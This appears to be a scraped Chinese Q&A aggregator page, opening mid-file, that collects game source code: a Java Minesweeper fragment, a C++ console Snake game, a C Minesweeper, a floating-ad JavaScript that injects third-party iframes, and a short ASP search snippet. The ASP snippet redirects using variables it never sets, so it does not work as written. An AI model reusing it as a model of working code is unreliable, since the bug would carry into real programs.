( (Bomb) e.getSource()).setForeground(Color.RED);
( (Bomb) e.getSource()).setFont(new Font("", Font.BOLD, 20));
( (Bomb) e.getSource()).setText("X");
JOptionPane.showMessageDialog(this, "你踩到地雷了,按确定重来", "踩到地雷", 2);
startBomb();
}
}
}

/* 右键点击 */

public void mouseClicked(MouseEvent e) {
Bomb bombSource = (Bomb) e.getSource();
boolean right = SwingUtilities.isRightMouseButton(e);

if ( (right == true) && (bombSource.isClicked == false)) {
bombSource.BombFlag = (bombSource.BombFlag + 1) % 3;
if (bombSource.BombFlag == 1) {
if (restBomb > 0) {
bombSource.setForeground(Color.RED);
bombSource.setText("F");
bombSource.isRight = true;
restBomb--;
}
else {
bombSource.BombFlag = 0;
}
}
else if (bombSource.BombFlag == 2) {
restBomb++;
bombSource.setText("Q");
bombSource.isRight = false;
}
else {
bombSource.setText("");
}

if (bombSource.isBomb == true) {
if (bombSource.BombFlag == 1) {
rightBomb++;
}
else if (bombSource.BombFlag == 2) {
rightBomb--;
}
}
nowBomb.setText("当前雷数" + ":" + restBomb);
isWin();
}
}

public static void main(String[] args) {
Frame frame = new Frame();
frame.setVisible(true);
}
}

class Frame1_start_actionAdapter
implements ActionListener {
private Frame adaptee;
Frame1_start_actionAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void actionPerformed(ActionEvent e) {
adaptee.start_actionPerformed(e);
}
}

////////////////////////////
class Bomb
extends JButton {
int num_x, num_y; // 第几号方块
int BombRoundCount; // 周围雷数
boolean isBomb; // 是否为雷
boolean isClicked; // 是否被点击
int BombFlag; // 探雷标记
boolean isRight; // 是否点击右键

public Bomb(int x, int y) {
num_x = x;
num_y = y;
BombFlag = 0;
BombRoundCount = 9;
isBomb = false;
isClicked = false;
isRight = false;
}
}

class Bomb_actionAdapter
implements ActionListener {
private Frame adaptee;
Bomb_actionAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void actionPerformed(ActionEvent e) {
adaptee.actionPerformed(e);
}
}

class Bomb_mouseAdapter
extends MouseAdapter {
private Frame adaptee;
Bomb_mouseAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void mouseClicked(MouseEvent e) {
adaptee.mouseClicked(e);
}
}

❻ C语言的贪吃蛇源代码

#include <bits/stdc++.h>

#include <windows.h>
#include <conio.h>
using namespace std;
void gotoxy(int x,int y) {COORD pos={x,y}; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}//光标定位
class Food {//食物类
private: int m_x; int m_y;
public:
void randfood() {//随机产生一个食物
srand((int)time(NULL));//利用时间添加随机数种子,需要ctime头文件
L1:{m_x=rand()%(85)+2;//2~86
m_y=rand()%(25)+2;//2~26
if(m_x%2) goto L1;//如果食物的x坐标不是偶数则重新确定食物的坐标
gotoxy(m_x,m_y);//在确认好的位置输出食物
cout << "★";}}
int getFoodm_x() {return m_x;}//返回食物的x坐标
int getFoodm_y() {return m_y;}};//返回食物的y坐标
class Snake {
private:
struct Snakecoor {int x; int y;};//定义一个蛇的坐标机构
vector<Snakecoor> snakecoor;//将坐标存入vector容器中
//判断并改变前进方向的函数
void degdir(Snakecoor&nexthead) {//定义新的蛇头变量
static char key='d';//静态变量防止改变移动方向后重新改回来
if(_kbhit()) {
char temp=_getch();//定义一个临时变量储存键盘输入的值
switch(temp) {//如果临时变量的值为wasd中的一个,则赋值给key
default: break;//default是缺省情况,只有任何条件都不匹配的情况下才会执行 必须写在前面!不然蛇无法转向
case'w': case'a': case's': case'd':
//如果temp的方向和key的方向不相反则赋值 因为两次移动方向不能相反 将蛇设置为初始向右走
if(key=='w' && temp!='s' || key=='s' && temp!='w' || key=='a' && temp!='d' || key=='d' && temp!='a') key=temp;}}
switch (key) {//根据key的值来确定蛇的移动方向
case'd': nexthead.x=snakecoor.front().x+2; nexthead.y=snakecoor.front().y; break;
//新的蛇头的头部等于容器内第一个数据(旧蛇头)x坐标+2 因为蛇头占两个坐标,移动一次加2
case'a': nexthead.x=snakecoor.front().x-2; nexthead.y=snakecoor.front().y; break;
case'w': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y-1; break;
//因为控制台的x长度是y的一半,所以用两个x做蛇头,需要的坐标是二倍
case's': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y+1;}}
//游戏结束时设计一个界面输出“游戏结束”以及分数
void finmatt(const int score) {
system("cls"); gotoxy(40, 14);//清屏然后输出
cout << "游戏结束"; gotoxy(40, 16);
cout << "得分:" << score; gotoxy(0, 26);
exit(0);}//exit为C++的退出函数 exit(0)表示程序正常退出,非0表示非正常退出
void finishgame(const int score) {//游戏结束
if(snakecoor[0].x>=88 || snakecoor[0].x<0 || snakecoor[0].y>=28 || snakecoor[0].y<0) finmatt(score);//撞墙
for(int i=1;i<snakecoor.size();i++) if(snakecoor[0].x==snakecoor[i].x && snakecoor[0].y==snakecoor[i].y) finmatt(score);}//撞到自身
public://构造初始化蛇的位置
Snake() { Snakecoor temp;//临时结构变量用于创建蛇
for(int i=5;i>=0;i--) {//反向创建初始蛇身,初始蛇头朝右
temp.x=16+(i<<1); temp.y=8;//偶数 在蛇头左移生成蛇身
snakecoor.push_back(temp);}}//在蛇尾尾插入临时变量
void move(Food&food, int& score) {//蛇运动的函数
Snakecoor nexthead;//新蛇头变量
degdir(nexthead);//判断和改变蛇前进的方向
snakecoor.insert(snakecoor.begin(), nexthead);//将蛇头插入容器的头部
gotoxy(0, 0); cout << "得分:" << score;//每次移动都在左上角刷新得分
gotoxy(0, 2); cout << "蛇的长度为:" << snakecoor.size();//长度用来测试
finishgame(score);//判断游戏结束,输出分数
//吃到食物蛇的变化
if(snakecoor[0].x==food.getFoodm_x() && snakecoor[0].y==food.getFoodm_y()) {//蛇头与食物重合
gotoxy(snakecoor[0].x, snakecoor[0].y); cout << "●";//吃到食物时这次蛇没有移动,所以蛇会卡顿一下
gotoxy(snakecoor[1].x, snakecoor[1].y); cout << "■";//重新输出一下蛇头和第一节蛇身让蛇不卡顿
score++; food.randfood(); return;}//吃到食物得分+1,如果蛇头坐标和食物坐标重合则重新产生一个食物并直接结束本次移动
for(int i=0;i<snakecoor.size();i++) {//遍历容器,判断食物与蛇身是否重合并输出整条蛇
gotoxy(snakecoor[i].x, snakecoor[i].y);
if (!i) cout << "●"; else cout << "■";//头部输出圆形否则输出方块
if (snakecoor[i].x==food.getFoodm_x() && snakecoor[i].y==food.getFoodm_y())food.randfood();}//如果食物刷新到了蛇身上,则重新产生一个
gotoxy(snakecoor.back().x,snakecoor.back().y);cout << " ";snakecoor.pop_back();}};
//数据与画面是分开,的在容器尾部的地方输出空格 清除画面上的蛇尾,删除容器中最后一个数据 清除数据上的蛇尾
void HideCursor() {CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);}//隐藏光标
int main() {system("mode con cols=88 lines=28"); system("title 贪吃蛇"); HideCursor();//光标隐藏,设置控制台窗口大小、标题
int score=0; Food food; food.randfood(); Snake snake;//得分变量,食物对象,开局随机产生一个食物,蛇对象
while(true) {snake.move(food, score);Sleep(150);}return 0;}//蛇移动,游戏速度

❼ 哪里有这样的源代码

这是这个网站的 js
有点复杂,但实现的就是这效果
sd2.js内容如下:
var closeB=false;
var delta=0.15
var collection;

function floaters() {
this.items = [];
this.addItem = function(id,x,y,content)
{
document.write('<DIV id='+id+' style="Z-INDEX: 10; POSITION: absolute; width:80px; height:60px;left:'+(typeof(x)=='string'?eval(x):x)+';top:'+(typeof(y)=='string'?eval(y):y)+'">'+content+'</DIV>');
var newItem = {};
newItem.object = document.getElementById(id);
newItem.x = x;
newItem.y = y;
this.items[this.items.length] = newItem;
}
this.play = function()
{
collection = this.items
setInterval('play()',10);
}
}
function play()
{
if(closeB)
{
for(var i=0;i<collection.length;i++)
{
collection[i].object.style.display = 'none';
}
return;
}
for(var i=0;i<collection.length;i++)
{
var followObj = collection[i].object;
var followObj_x = (typeof(collection[i].x)=='string'?eval(collection[i].x):collection[i].x);
var followObj_y = (typeof(collection[i].y)=='string'?eval(collection[i].y):collection[i].y);
if(followObj.offsetLeft!=(document.body.scrollLeft+followObj_x)) {
var dx=(document.body.scrollLeft+followObj_x-followObj.offsetLeft)*delta;
dx=(dx>0?1:-1)*Math.ceil(Math.abs(dx));
followObj.style.left=followObj.offsetLeft+dx;
}
if(followObj.offsetTop!=(document.body.scrollTop+followObj_y)) {
var dy=(document.body.scrollTop+followObj_y-followObj.offsetTop)*delta;
dy=(dy>0?1:-1)*Math.ceil(Math.abs(dy));
followObj.style.top=followObj.offsetTop+dy;
}
followObj.style.display = '';
}
}
function closeBanner()
{
closeB=true;
return;
}
function ivr() {
window.open('http://www.91ivr.com/index.html?seo='+seo);
}
var theFloaters = new floaters();
theFloaters.addItem('followDiv1','screen.availWidth-135',80,'<iframe width="105" height="400" frameborder="0" scrolling="no" src="http://www.91ivr.com/code/sd/126x400.html?seo='+seo+'"></iframe>');

theFloaters.addItem('followDiv2',6,80,'<iframe width="105" height="400" frameborder="0" scrolling="no" src="http://www.91ivr.com/code/sd/126x400_2.html?seo='+seo+'"></iframe>');

theFloaters.play();

❽ javascript 源码

是一个脚本,

❾ C语言扫雷游戏源代码

"扫雷"小游戏C代码

#include<stdio.h>
#include<math.h>
#include<time.h>
#include<stdlib.h>
main( )
{char a[102][102],b[102][102],c[102][102],w;
int i,j; /*循环变量*/
int x,y,z[999]; /*雷的位置*/
int t,s; /*标记*/
int m,n,lei; /*计数*/
int u,v; /*输入*/
int hang,lie,ge,mo; /*自定义变量*/
srand((int)time(NULL)); /*启动随机数发生器*/
leb1: /*选择模式*/
printf(" 请选择模式: 1.标准 2.自定义 ");
scanf("%d",&mo);
if(mo==2) /*若选择自定义模式,要输入三个参数*/
{do
{t=0; printf("请输入 行数 列数 雷的个数 ");
scanf("%d%d%d",&hang,&lie,&ge);
if(hang<2){printf("行数太少 "); t=1;}
if(hang>100){printf("行数太多 ");t=1;}
if(lie<2){printf("列数太少 ");t=1;}
if(lie>100){printf("列数太多 ");t=1;}
if(ge<1){printf("至少要有一个雷 ");t=1;}
if(ge>=(hang*lie)){printf("雷太多了 ");t=1;}
}while(t==1);
}
else{hang=10,lie=10,ge=10;} /*否则就是选择了标准模式(默认参数)*/
for(i=1;i<=ge;i=i+1) /*确定雷的位置*/
{do
{t=0; z[i]=rand( )%(hang*lie);
for(j=1;j<i;j=j+1){if(z[i]==z[j]) t=1;}
}while(t==1);
}
for(i=0;i<=hang+1;i=i+1) /*初始化a,b,c*/
{for(j=0;j<=lie+1;j=j+1) {a[i][j]='1'; b[i][j]='1'; c[i][j]='0';} }
for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1) {a[i][j]='+';} }
for(i=1;i<=ge;i=i+1) /*把雷放入c*/
{x=z[i]/lie+1; y=z[i]%lie+1; c[x][y]='#';}
for(i=1;i<=hang;i=i+1) /*计算b中数字*/
{for(j=1;j<=lie;j=j+1)
{m=48;
if(c[i-1][j-1]=='#')m=m+1; if(c[i][j-1]=='#')m=m+1;
if(c[i-1][j]=='#')m=m+1; if(c[i+1][j+1]=='#')m=m+1;
if(c[i][j+1]=='#')m=m+1; if(c[i+1][j]=='#')m=m+1;
if(c[i+1][j-1]=='#')m=m+1; if(c[i-1][j+1]=='#')m=m+1;
b[i][j]=m;
}
}
for(i=1;i<=ge;i=i+1) /*把雷放入b中*/
{x=z[i]/lie+1; y=z[i]%lie+1; b[x][y]='#';}

lei=ge; /*以下是游戏设计*/
do
{leb2: /*输出*/
system("cls");printf(" ");

printf(" ");
for(i=1;i<=lie;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c ",w);
}
printf(" |");
for(i=1;i<=lie;i=i+1){printf("---|");}
printf(" ");
for(i=1;i<=hang;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')printf(" |");
else printf(" %c |",a[i][j]);
}
if(i==2)printf(" 剩余雷个数");
if(i==3)printf(" %d",lei);
printf(" |");
for(j=1;j<=lie;j=j+1){printf("---|");}
printf(" ");
}

scanf("%d%c%d",&u,&w,&v); /*输入*/
u=u+1,v=v+1;
if(w!='#'&&a[u][v]=='@')
goto leb2;
if(w=='#')
{if(a[u][v]=='+'){a[u][v]='@'; lei=lei-1;}
else if(a[u][v]=='@'){a[u][v]='?'; lei=lei+1;}
else if(a[u][v]=='?'){a[u][v]='+';}
goto leb2;
}
a[u][v]=b[u][v];

leb3: /*打开0区*/
t=0;
if(a[u][v]=='0')
{for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=1;i<=hang;i=i+1)
{for(j=lie;j>=1;j=j-1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{for(j=1;j<=lie;j=j+1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{for(j=lie;j>=1;j=j-1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1;if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}

for(i=1;i<=hang;i=i+1) /*检测0区*/
{for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')
{if(a[i-1][j-1]=='+'||a[i-1][j-1]=='@'||a[i-1][j-1]=='?')t=1;
if(a[i-1][j+1]=='+'||a[i-1][j+1]=='@'||a[i-1][j+1]=='?')t=1;
if(a[i+1][j-1]=='+'||a[i+1][j-1]=='@'||a[i+1][j-1]=='?')t=1;
if(a[i+1][j+1]=='+'||a[i+1][j+1]=='@'||a[i+1][j+1]=='?')t=1;
if(a[i+1][j]=='+'||a[i+1][j]=='@'||a[i+1][j]=='?')t=1;
if(a[i][j+1]=='+'||a[i][j+1]=='@'||a[i][j+1]=='?')t=1;
if(a[i][j-1]=='+'||a[i][j-1]=='@'||a[i][j-1]=='?')t=1;
if(a[i-1][j]=='+'||a[i-1][j]=='@'||a[i-1][j]=='?')t=1;
}
}
}
if(t==1)goto leb3;
}

n=0; /*检查结束*/
for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1)
{if(a[i][j]!='+'&&a[i][j]!='@'&&a[i][j]!='?')n=n+1;}
}
}
while(a[u][v]!='#'&&n!=(hang*lie-ge));

for(i=1;i<=ge;i=i+1) /*游戏结束*/
{x=z[i]/lie+1; y=z[i]%lie+1; a[x][y]='#'; }
printf(" ");
for(i=1;i<=lie;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c ",w);
}
printf(" |");
for(i=1;i<=lie;i=i+1){printf("---|");}
printf(" ");
for(i=1;i<=hang;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')printf(" |");
else printf(" %c |",a[i][j]);
}
if(i==2)printf(" 剩余雷个数");
if(i==3)printf(" %d",lei); printf(" |");
for(j=1;j<=lie;j=j+1) {printf("---|");}
printf(" ");
}
if(n==(hang*lie-ge)) printf("你成功了! ");
else printf(" 游戏结束! ");
printf(" 重玩请输入1 ");
t=0;
scanf("%d",&t);
if(t==1)goto leb1;
}

/*注:在DEV c++上运行通过。行号和列号都从0开始,比如要确定第0行第9列不是“雷”,就在0和9中间加入一个字母,可以输入【0a9】三个字符再按回车键。3行7列不是雷,则输入【3a7】回车;第8行第5列是雷,就输入【8#5】回车,9行0列是雷则输入【9#0】并回车*/

❿ 【高分求助】求站内高级搜索源码

很久以前写过一个的:
<%@ Language=VBScript %>
<%
Name=Request.Form("商品名称")
keyword=trim(Request.Form("商品编号"))

if Name="" then
Response.Write "请选择您需要搜索的范围!"
Response.End
end if

if keyword="" then
Response.Write "请输入查询关键字!"
Response.End
end if

Response.Redirect "jieguo.asp?Name=" & 商品名称 & "&keyword=" & 商品编号

%>

阅读全文

与shofiy源码相关的资料

热点内容
远程命令阻塞 浏览:728
有网页源码怎么查数据 浏览:99
win10下make编译速度过慢 浏览:864
微机原理编译环境 浏览:17
怎么把图纸转换成pdf 浏览:539
安卓libcurl编译64 浏览:903
手机app怎么测速 浏览:275
中兴gpon命令 浏览:885
python中取出字典key值 浏览:680
Linux目录inode 浏览:146
手机上如何用文件夹发邮件 浏览:428
畅课app密码忘了怎么找回 浏览:79
怎么编译idea 浏览:231
如何查看服务器是否做了热备 浏览:1001
硬盘同名文件夹病毒 浏览:729
百度云不解压下载 浏览:563
新冠疫情app怎么用 浏览:973
拆二代程序员 浏览:400
河北压缩空气冷干机生产厂家 浏览:582
图论与java 浏览:579